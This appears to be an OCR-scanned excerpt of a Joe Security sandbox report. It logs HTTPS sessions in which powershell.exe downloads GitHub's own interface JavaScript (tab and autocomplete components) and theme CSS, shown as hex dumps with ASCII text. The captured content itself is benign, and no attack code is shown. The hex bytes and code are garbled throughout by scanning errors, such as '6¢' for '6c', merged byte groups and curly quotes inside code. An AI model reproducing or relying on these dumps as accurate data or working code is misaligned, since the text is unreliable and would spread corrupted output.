69 6e 64 65 78 4f 66 28 70 2e 66 69 6e 64 28 6e 3d 3e 6e 2e 6d 61 74 63 68 65 73 28 27 5b 61 72 69 61 2d 73 65 6¢ 65
63 74 65 64 3d 22 74 72 75 65 22 5d 27 29 29 29 3b 69 66 28 75 2e 63 6f 64 65 3d 3d 3d 22 41 72 72 6f 77 52 69 67 68 7
42229 7h 6¢ 65 74 20 6e 3d 63 2b 31 3b 6e 3e 3d 70 2e 6¢ 65 6e 67 74 68 26 26 28 6e 3d 30 29 2c 62 28 74 68 69 73
2c 6e 29 7d 65 6¢ 73 65 20 69 66 28 75 2e 63 6f 64 65 3d 3d 3d 22 41 72 72 6f 77 4c 65 66 74 22 29 7b 6¢ 65 74 20 6e
3d 63 2d 31 3b 6e 3c 30 26 26 28 6e 3d 70 2e 6¢ 65 6e 67 74 68 2d 31 29 2c 62 28 74 68 69 73 2c 6e 29 7d 65 6¢ 73 65
20 75 2e 63 6f 64 65 3d 3d 3d 22 48 6f 6d 65 22 3f 28 62 28 74 68 69 73 2

Data Ascii: ist"]'))return;const p=m(this),c=p.indexOf(p.find(n=>n.matches('[aria-selected="true"]")));if(u.code==="Arro
wRight"){let n=c+1;n>=p.length&&(n=0),b(this,n)}else if(u.code==="ArrowLeft"){let n=c-1;n<0&&(n=p.length-1),b(this,n)}el
se u.code==="Home"?(b(this,

Data Raw: 28 22 61 72 69 61 2d 73 65 6¢ 65 63 74 65 64 22 2c 22 74 72 75 65 22 29 2c 63 2e 73 65 74 41 74 74 72 69
62 7574 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 30 22 29 2c 63 2e 66 6f 63 75 73 28 29 2c 6e 2e 68 69 64 64 65 6e
3d 21 31 2c 64 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 74 61
62 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 68 61 6e 67 65 64 22 2c 7b 62 75 62 62 6¢ 65 73 3a 21 30 2¢ 64 65 74 61 69 6¢C
3a7b 72 65 6¢ 61 74 65 64 54 61 72 67 65 74 3a 6e 7d 7d 29 29 7d 7d 61 28 62 2c 22 73 65 6¢ 65 63 74 54 61 62 22 29
2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6¢ 65 6d 65 6e 74 73 2e 67 65 74 28 22 74 61 62 2d 63 6f 6e 74 61 69 6e
65722229 7c 7c 28 77 69 6e 64 6f 77 2e 54 61 62 43 6f 6e 74 61 69 6e 65

Data Ascii: (“aria-selected","true"),c.setAttribute("tabindex","0"),c.focus(),n.hidden=!1,d.dispatchEvent(new CustomEven
t("tab-container-changed" {bubbles:!0,detail:{relatedTarget:n}}))}}a(b,"selectTab"),window.customElements.get("tab-conta
iner")||(window.TabContaine
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Copyright Joe Security LLC 2022

Data

Data Raw: 73 2e 69 6e 70 75 74 2e 69 64 7c 7c 74 68 69 73 2e 69 6e 70 75 74 2e 6e 61 6d 65 7d 2d 63 6¢ 65 61 72 60
29 2c 74 68 69 73 2e 63 6¢ 69 65 6e 74 4f 70 74 69 6f 6e 73 3d 6¢ 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6C 28
22 5b 72 6f 6¢ 65 3d 6f 70 74 69 6f 6e 5d 22 29 2c 74 68 69 73 2e 66 65 65 64 62 61 63 6b 26 26 28 74 68 69 73 2e 66 65
65 64 62 61 63 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6¢ 69 76 65 22 2c 22 70 6f 6¢ 69 74 65
2229 2c 74 68 69 73 2e 66 65 65 64 62 61 63 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 61 74 6f
6d 69 63 22 2¢ 22 74 72 75 65 22 29 29 2c 74 68 69 73 2e 63 6¢ 65 61 72 42 75 74 74 6f 6e 26 26 21 74 68 69 73 2e 63
6C 65 61 72 4275 74 74 6f 6e 2e 67 65 74 41 74 74 72 69 62 75 74 65

Data Ascii: s.input.id||this.input.name}-clear’),this.clientOptions=I.querySelectorAll("[role=option]"),this.feedback&&(
this.feedback.setAttribute("aria-live","polite"), this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!th
is.clearButton.getAttribute

Data Raw: 73 75 6¢ 74 73 4d 6f 75 73 65 44 6f 77 6e 29 2c 74 68 69 73 2e 72 65 73 75 6¢ 74 73 2e 61 64 64 45 76 65 6e
74 4c 69 73 74 65 6e 65 72 28 22 63 6f 6d 62 6f 62 6f 78 2d 63 6f 6d 6d 69 74 22 2c 74 68 69 73 2e 6f 6e 43 6f 6d 6d 69
7429 2c 28 67 3d 74 68 69 73 2e 63 6¢ 65 61 72 42 75 74 74 6f 6e 29 3d 3d 3d 6e 75 6¢ 6¢ 7c 7c 67 3d 3d 3d 76 6f 69 64
2030 7c 7c 67 2e 61 64 64 45 76 65 6e 74 4¢c 69 73 74 65 6e 65 72 28 22 63 6¢ 69 63 6b 22 2¢ 74 68 69 73 2e 68 61 6e
64 6¢ 65 43 6¢ 65 61 72 29 7d 64 65 73 74 72 6f 79 28 29 7b 74 68 69 73 2e 69 6e 70 75 74 2e 72 65 6d 6f 76 65 45 76
65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2¢ 74 68 69 73 2e 6f 6e 4b 65 79 64 6f 77 6e 29 2c 74 68
69 73 2e 69 6e 70 75 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c

Data Ascii: sultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(g=this.clearButton
)===null||g===void 0||g.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown" th
is.onKeydown),this.input.removeEventL

Data Raw: 6f 70 65 6e 3d 21 30 2c 73 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2¢c 73 2e 70 72 65 76 65 6e
74 44 65 66 61 75 6¢ 74 28 29 7d 7d 6f 6e 49 6e 70 75 74 46 6f 63 75 73 28 29 7b 74 68 69 73 2e 66 65 74 63 68 52 65
7375 6¢ 74 73 28 29 7d 6f 6e 49 6e 70 75 74 42 6¢ 75 72 28 29 7b 69 66 28 74 68 69 73 2e 69 6e 74 65 72 61 63 74 69
6e 67 57 69 74 68 4¢c 69 73 74 29 7b 74 68 69 73 2e 69 6e 74 65 72 61 63 74 69 6e 67 57 69 74 68 4¢c 69 73 74 3d 21 31
3b 72 65 74 75 72 6e 7d 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 2e 6f 70 65 6e 3d 21 31 7d 6f 6e 43 6f 6d 6d 69 74 28
7b 74 61 72 67 65 74 3a 73 7d 29 7b 63 6f 6e 73 74 20 6f 3d 73 3b 69 66 28 21 28 6f 20 69 6e 73 74 61 6e 63 65 6f 66 20
48 54 4d 4c 45 6¢ 65 6d 65 6e 74 29 7c 7c 28 74 68 69 73 2e 63 6f

Data Ascii: open=!0,s.stopPropagation(),s.preventDefault()}}oninputFocus(){this.fetchResults()}onInputBlur(){if(this.int
eractingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:s}){const o=s;if(!(o instanceof
HTMLElement)||(this.co

Data Raw: 6¢ 6¢ 28 27 5b 72 6f 6¢ 65 3d 22 6f 70 74 69 6f 6e 22 5d 27 29 2c 6b 3d 21 21 41 2e 6¢ 65 6e 67 74 68 2¢ 43
3d 41 2e 6¢ 65 6e 67 74 68 2c 5b 4c 5d 3d 41 2c 54 3d 4c 3d 3d 6e 75 6¢ 6¢ 3f 76 6f 69 64 20 30 3a 4c 2e 74 65 78 74 43
6f 6e 74 65 6e 74 3b 74 68 69 73 2e 61 75 74 6f 73 65 6¢ 65 63 74 45 6e 61 62 6¢ 65 64 26 26 54 3f 74 68 69 73 2e 75 70
64 61 74 65 46 65 65 64 62 61 63 6b 46 6f 72 53 63 72 65 65 6€ 52 65 61 64 65 72 73 28 60 24 7b 43 7d 20 72 65 73 75
6C 74 73 2e 20 24 7b 54 7d 20 69 73 20 74 68 65 20 74 6f 70 20 72 65 73 75 6¢ 74 3a 20 50 72 65 73 73 20 45 6e 74 65
7220 74 6f 20 61 63 74 69 76 61 74 65 2e 60 29 3a 74 68 69 73 2e 75 70 64 61 74 65 46 65 65 64 62 61 63 6b 46 6f 725
363726565 6e 52 65 61 64 65 72 73 28 60 24 7b 43 7c 7c 22 4e

Data Ascii: ll(‘[role="option"]"),k=!!A.length,C=A.length,[L]=A, T=L==null?void 0:L.textContent;this.autoselectEnabled&&T?
this.updateFeedbackForScreenReaders("${C} results. ${T} is the top result: Press Enter to activate.’):this.updateFeedba
ckForScreenReaders("${C||"N

Data Raw: 73 2e 63 6f 6e 74 61 69 6e 65 72 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d
45 76 65 6e 74 28 22 6¢c 6f 61 64 65 6e 64 22 29 29 7d 29 7d 6f 70 65 6e 28 29 7b 21 74 68 69 73 2e 72 65 73 75 6C 74
73 2e 68 69 64 64 65 6e 7c 7c 28 74 68 69 73 2e 63 6f 6d 62 6f 62 6f 78 2e 73 74 61 72 74 28 29 2c 74 68 69 73 2e 72 65
73 75 6¢ 74 73 2e 68 69 64 64 65 6e 3d 21 31 29 7d 63 6¢ 6f 73 65 28 29 7b 74 68 69 73 2e 72 65 73 75 6¢ 74 73 2e 68
69 64 64 65 6e 7c 7c 28 74 68 69 73 2e 63 6f 6d 62 6f 62 6f 78 2e 73 74 6f 70 28 29 2c 74 68 69 73 2e 72 65 73 75 6C 74
73 2e 68 69 64 64 65 6e 3d 21 30 29 7d 7d 61 28 6e 2c 22 41 75 74 6f 63 6f 6d 70 6¢ 65 74 65 22 29 3b 63 6f 6e 73 74 20
65 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 63 6¢ 61 73 73 20 74

Data Ascii: s.container.dispatchEvent(new CustomEvent(“loadend"))})}open(){!this.results.hidden||(this.combobox.start(),
this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}a(n,"Autocomplete”);const
e=new WeakMap;class t

Data Raw: 2e 64 65 66 69 6e 65 28 22 61 75 74 6f 2d 63 6f 6d 70 6¢ 65 74 65 22 2c 74 29 29 3b 63 6f 6e 73 74 20 69 3d
747d 2c 313031 36 30 3228 79 2¢ 76 2c 77 29 3d 3e 7b 77 2e 64 28 76 2c 7b 5a 3a 28 29 3d 3e 66 7d 29 3b 63 6f 6e
737420 6d 3d 21 21 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 4d 61 63 69 6e
74 6f 73 68 2f 29 3b 63 6¢ 61 73 73 20 66 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 69 2c 72 29 7b 74 68 69 73 2e 69 6e 70
75 74 3d 69 2c 74 68 69 73 2e 6¢ 69 73 74 3d 72 2c 74 68 69 73 2e 69 73 43 6f 6d 70 6f 73 69 6e 67 3d 21 31 2c 72 2e 6
964 7c 7c 28 72 2e 69 64 3d 60 63 6f 6d 62 6f 62 6f 78 2d 24 7b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2e 74 6f 53 74 7
269 6e 67 28 29 2e 73 6¢ 69 63 65 28 32 2¢ 36 29 7d 60 29 2c 74

Data Ascii: .define("auto-complete”,t));const i=t},10160:(y,v,w)=>{w.d(v {Z:()=>f});const m=!!navigator.userAgent.match(
IMacintosh/);class f{constructor(i,r){this.input=i,this.list=r,this.isComposing=!1,r.id||(r.id="combobox-${Math.random()
.toString().slice(2,6)}),t

Data Raw: 76 65 45 76 65 6e 74 4¢c 69 73 74 65 6e 65 72 28 22 63 6f 6d 70 6f 73 69 74 69 6f 6e 65 6e 64 22 2c 74 68 69
73 2e 63 6f 6d 70 6f 73 69 74 69 6f 6e 45 76 65 6e 74 48 61 6e 64 6¢ 65 72 29 2¢ 74 68 69 73 2e 69 6e 70 75 74 2e 72 65
6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 69 6e 70 75 74 22 2¢ 74 68 69 73 2e 69 6e 70 75 74 48 61 6e
64 6¢ 65 72 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b
65 79 64 6f 77 6e 22 2c 74 68 69 73 2e 6b 65 79 62 6f 61 72 64 45 76 65 6€ 74 48 61 6e 64 6¢ 65 72 29 2c 74 68 69 73 2
e 6c 69 73 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6¢ 69 63 6b 22 2¢ 64 29 7d 6 61 76
69 67 61 74 65 28 69 3d 31 29 7h 63 6f 6e 73 74 20 72 3d 41 72 72

Data Ascii: veEventListener("compositionend" this.compositionEventHandler),this.input.removeEventListener("input", this.i
nputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list. removeEventListener
("click",d)}navigate(i=1){const r=Arr

Data Raw: 29 2c 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74 28 29 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6¢ 74
3a 69 66 28 74 2e 63 74 72 6¢ 4b 65 79 29 62 72 65 61 6b 3b 69 2e 63 6¢ 65 61 72 53 65 6¢ 65 63 74 69 6f 6 28 29 7d
7d 61 28 62 2c 22 6b 65 79 62 6f 61 72 64 42 69 6e 64 69 6e 67 73 22 29 3b 66 75 6e 63 74 69 6f 6e 20 64 28 7429 7b 6
966 28 2128 74 2e 74 61 72 67 65 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6¢ 65 6d 65 6e 74 29 29 72 65 74 75 72
6e 3b 63 6f 6e 73 74 20 69 3d 74 2e 74 61 72 67 65 74 2e 63 6¢ 6f 73 65 73 74 28 27 5b 72 6f 6¢ 65 3d 22 6f 70 74 69 6f
6e 22 5d 27 29 3b 21 69 7c 7c 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6C 65 64
222921 3d3d 227472756522 26 26 45 28 69 29 7d 61 28 64 2c 22 63

Data Ascii: ),t.preventDefault());break;default:if(t.ctriKey)break;i.clearSelection()}}a(b,"keyboardBindings");function d(t){if(!(
t.target instanceof Element))return;const i=t.target.closest('[role="option"]");!i||i.getAttribute("aria-disabled")!=="true"&&E(i)
Ja(d,"c
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Timestam
P transferred

2022-04-20 13:07:37 UTC 1155

2022-04-20 13:07:37 UTC 1156

Session ID Source IP
2 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:36 UTC 207

2022-04-20 13:07:36 UTC 208

2022-04-20 13:07:36 UTC 208

2022-04-20 13:07:36 UTC 210

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49757

Direction

ouT

Data

Data Raw: 65 72 76 65 28 6e 29 2c 75 28 6e 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20
74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 74 65 6d 70 6¢ 61 74 65 22 29 3b 74 2e
69 6e 6e 65 72 48 54 4d 4c 3d 65 3b 63 6f 6e 73 74 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 69 6d 70 6f 72 74 4e 6f 64 65 28
74 2e 63 6f 6e 74 65 6e 74 2c 21 30 29 3b 21 6e 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74
6f 6d 45 76 65 6e 74 28 22 69 6e 63 6¢ 75 64 65 2d 66 72 61 67 6d 65 6e 74 2d 72 65 70 6C 61 63 65 22 2¢ 7b 63 61 6€
63 65 6¢ 61 62 6¢ 65 3a 21 30 2¢ 64 65 74 61 69 6¢ 3a 7b 66 72 61 67 6d 65 6€ 74 3a 69 7d 7d 29 29 7c 7c 28 6e 2e 72
65 70 6¢ 61 63 65 57 69 74 68 28 69 29 2c 6e 2e 64 69 73 70 61 74 63

Data Ascii: erve(n),u(n).then(function(e){const t=document.createElement("template");t.innerHTML=e;const i=doc
ument.importNode(t.content,!0);!n.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:
{fragment:i}}))||(n.replaceWith(i),n.dispatc

Data Raw: 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 3b
69 66 28 65 29 7b 63 6f 6e 73 74 20 74 3d 74 68 69 73 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65
45 6¢ 65 6d 65 6e 74 28 22 61 22 29 3b 72 65 74 75 72 6e 20 74 2e 68 72 65 66 3d 65 2c 74 2e 68 72 65 66 7d 65 6¢ 73
6520 72 65 74 75 72 6e 22 22 7d 73 65 74 20 73 72 63 28 65 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65
2822 7372 6322 2c 65 29 7d 67 65 74 20 6¢ 6f 61 64 69 6e 67 28 29 7h 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74
41747472 69 62 75 74 65 28 22 6¢ 6f 61 64 69 6e 67 22 29 3d 3d 3d 22 6¢ 61 7a 79 22 3f 22 6¢ 61 7a 79 22 3a 22 65
61 67 65 72 22 7d 73 65 74 20 6¢ 6f 61 64 69 6e 67 28 65 29 7b 74 68 69 73

Data Ascii: ){const e=this.getAttribute("src");if(e){const t=this.ownerDocument.createElement("a");return t.href=e,t.href}else
return""}set src(e){this.setAttribute("src",e)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set
loading(e){this

Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/light-92c¢7d381038e.css HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 54661

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Mon, 04 Apr 2022 20:10:48 GMT

ETag: "6019a52baa811bb81a7e163dd29fdf52"

Content-Type: text/css

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Age: 1356812

X-Served-By: cache-iad-kiad7000156-IAD, cache-mxp6979-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: b18145e0149a895e41ab80a6c2dc3ae44c2fe22d

Data Raw: 3a 72 6f 6f 74 2c 5b 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 6¢ 69 67 68 74 5d 5b 64 61 74 61 2d 6C
69 67 68 74 2d 74 68 65 6d 65 3d 6¢ 69 67 68 74 5d 2c 5b 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d
5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 6 69 67 68 74 5d 7b 2f 2a 21 20 2a 2f 7d 3a 72 6f 6f 74 2c 5b 64 61
74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 6¢ 69 67 68 74 5d 5b 64 61 74 61 2d 6¢ 69 67 68 74 2d 74 68 65 6d 65 3d 6C 69
67 68 74 5d 2c 5b 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74
68 65 6d 65 3d 6¢ 69 67 68 74 5d 7b 2d 2d 63 6f 6¢ 6f 72 2d 63 61 6€ 76 61 73 2d 64 65 66 61 75 6C 74 2d 74 72 61 6€
737061 72 65 6e 74 3a 20 72 67 62 61 28 32 35 35 2¢ 32 35 35

Data Ascii: :root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}.root,
[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-
transparent: rgba(255,255

Data Raw: 2d 73 79 6e 74 61 78 2d 65 6e 74 69 74 79 2d 74 61 67 3a 20 23 31 31 36 33 32 39 3b 2d 2d 63 6f 6¢ 6f 72 2d
70726574 7479 6¢c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6b 65 79 77 6f 72 64 3a 20 23 63 66 32 32 32 65 3b 2d 2d
63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 73 74 72 69 6e 67 3a 20 23 30 61 33 30
36 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 76 61 72 69 61 62 6C 65 3
a 202339353338 30 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 62 72
61 63 6b 65 74 68 69 67 68 6¢ 69 67 68 74 65 72 2d 75 6e 6d 61 74 63 68 65 64 3a 20 23 38 32 30 37 31 65 3b 2d 2d 63
6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61

Data Ascii: -syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string:
#0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--
color-prettylights-synta
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Timestamp transferred Direction
2022-04-20 13:07:36 UTC 211 IN
2022-04-20 13:07:36 UTC 212 IN
2022-04-20 13:07:36 UTC 214 IN
2022-04-20 13:07:36 UTC 215 IN
2022-04-20 13:07:36 UTC 217 IN
2022-04-20 13:07:36 UTC 218 IN
2022-04-20 13:07:36 UTC 219 IN
2022-04-20 13:07:36 UTC 221 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 72 2d 72 65 66 65 72 65 6e 63 65 2d 6¢ 69 6e 6b 3a 20 23 30 61 33 30 36 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f
64 65 6d 69 72 72 6f 72 2d 74 65 78 74 3a 20 23 32 34 32 39 32 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f
72 2d 62 67 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75 74 74 65 72 73
2d 62 67 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75 74 74 65 72 6d 61
72 6b 65 72 2d 74 65 78 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75
74746572 6d 6172 6b 65 72 2d 73 75 62 74 6¢ 65 2d 74 65 78 74 3a 20 23 36 65 37 37 38 31 3b 2d 2d 63 6f 6¢ 6f 72
2d 63 6f 64 65 6d 69 72 72 6f 72 2d 6¢ 69 6e 65 6e 75 6d 62

Data Ascii: r-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-
gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-
codemirror-linenumb

Data Raw: 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 65 72 72 6f 72 3a 20 23 66 61 34 35 34 39
3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 70 65 6e 64 69 6e 67 3a 20 23 62 66 38 37 30 30 3b
2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 73 75 63 63 65 73 73 3a 20 23 32 64 61 34 34 65 3b 2d
2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 6e 65 75 74 72 61 6¢ 3a 20 23 61 66 62 38 63 31 3b 2d 2d 63
6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 74 65 78 74 3a 20 23 61 66 62 38 63 31 3b 2d 2d 63 6f 6¢
6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 62 67 3a 20 23 33 32 33 38 33 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63
68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 62 6f 72 64 65 72

Data Ascii: ;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2d
ad4e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;-
-color-checks-dropdown-border

Data Raw: 39 2c 31 35 39 2c¢ 30 2e 37 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 64
65 62 75 67 2d 74 65 78 74 3a 20 23 63 32 39 37 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6C 69

6e 65 2d 65 72 72 6f 72 2d 74 65 78 74 3a 20 23 64 30 64 37 64 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f
67 6¢ 69 6e 65 2d 65 72 72 6f 72 2d 6e 75 6d 2d 74 65 78 74 3a 20 23 66 66 38 31 38 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68
65 63 6b 73 2d 6c 6f 67 6¢ 69 6e 65 2d 65 72 72 6f 72 2d 62 67 3a 20 72 67 62 61 28 31 36 34 2¢ 31 34 2¢ 33 38 2¢ 30
2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 77 61 72 6e 69 6e 67 2d 74 65 78 74
3a 20 23 64 30 64 37 64 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65

Data Ascii: 9,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-ch
ecks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-
text: #d0d7de;--color-che

Data Raw: 30 20 2f 20 31 35 25 29 20 30 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d
7368 61 64 6f 77 2d 68 6f 76 65 72 3a 20 30 20 33 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30
2e 303729 2c 20302037 70782035 7078207267 6261 28 30 2c 20 30 2¢ 20 30 2c 20 30 2e 30 34 29 2c 20 30 20
31327078203130707820 72676261 28 30 2c 20 30 2¢ 20 30 2c 20 30 2e 30 33 29 2¢ 20 30 20 32 32 70 78 20 31
3870782072 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 33 29 2c 20 30 20 34 32 70 78 20 33 33 70 78 20 72 67
62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 32 29 2c 20 30 20 31 30 30 70 78 20 38 30 70 78 20 72 67 62 61 28 30 2c
20 30 2c 20 30 2c 20 30 2e 30 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74

Data Ascii: 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04),
0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, O,
0, 0.02);--color-mkt

Data Raw: 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 72 65 64 2d 62 72 69 67 68 74 3a 20 23 61 34 30 65 32 36 3b 2d 2d 63 6f
6c 6f 72 2d 61 6e 73 69 2d 67 72 65 65 6e 3a 20 23 31 31 36 33 32 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67 72
65 65 6e 2d 62 72 69 67 68 74 3a 20 23 31 61 37 66 33 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 79 65 6¢ 6¢ 6f 77 3a
20 23 34 64 32 64 30 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 79 65 6¢ 6¢ 6f 77 2d 62 72 69 67 68 74 3a 20 23 36 33
336330 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 62 6¢ 75 65 3a 20 23 30 39 36 39 64 61 3b 2d 2d 63 6f 6¢ 6f 72 2d
